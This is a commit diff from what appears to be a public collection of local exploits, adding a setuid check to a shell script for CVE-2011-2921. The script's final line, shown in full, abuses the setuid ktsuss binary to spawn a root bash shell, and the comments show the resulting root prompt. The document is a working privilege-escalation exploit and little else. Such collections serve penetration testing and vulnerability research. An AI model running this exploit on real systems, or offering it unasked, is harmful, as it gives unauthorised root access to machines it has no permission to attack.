Merge pull request bcoles#9 from bcoles/cve-2011-2921

Add setuid check and chmod +x

Author: bcoles

CVE-2011-2921/ktsuss-lpe.sh

@@ -35,5 +35,11 @@
 # bash-5.0#
 # ---
 # 2019-08-18 - <bcoles@gmail.com>
+# https://github.com/bcoles/local-exploits/tree/master/CVE-2011-2921
+
+if ! test -u "/usr/bin/ktsuss"; then
+  echo '[-] /usr/bin/ktsuss is not setuid root'
+  exit 1
+fi
 
 /usr/bin/ktsuss -u `/usr/bin/id -un` /bin/bash -p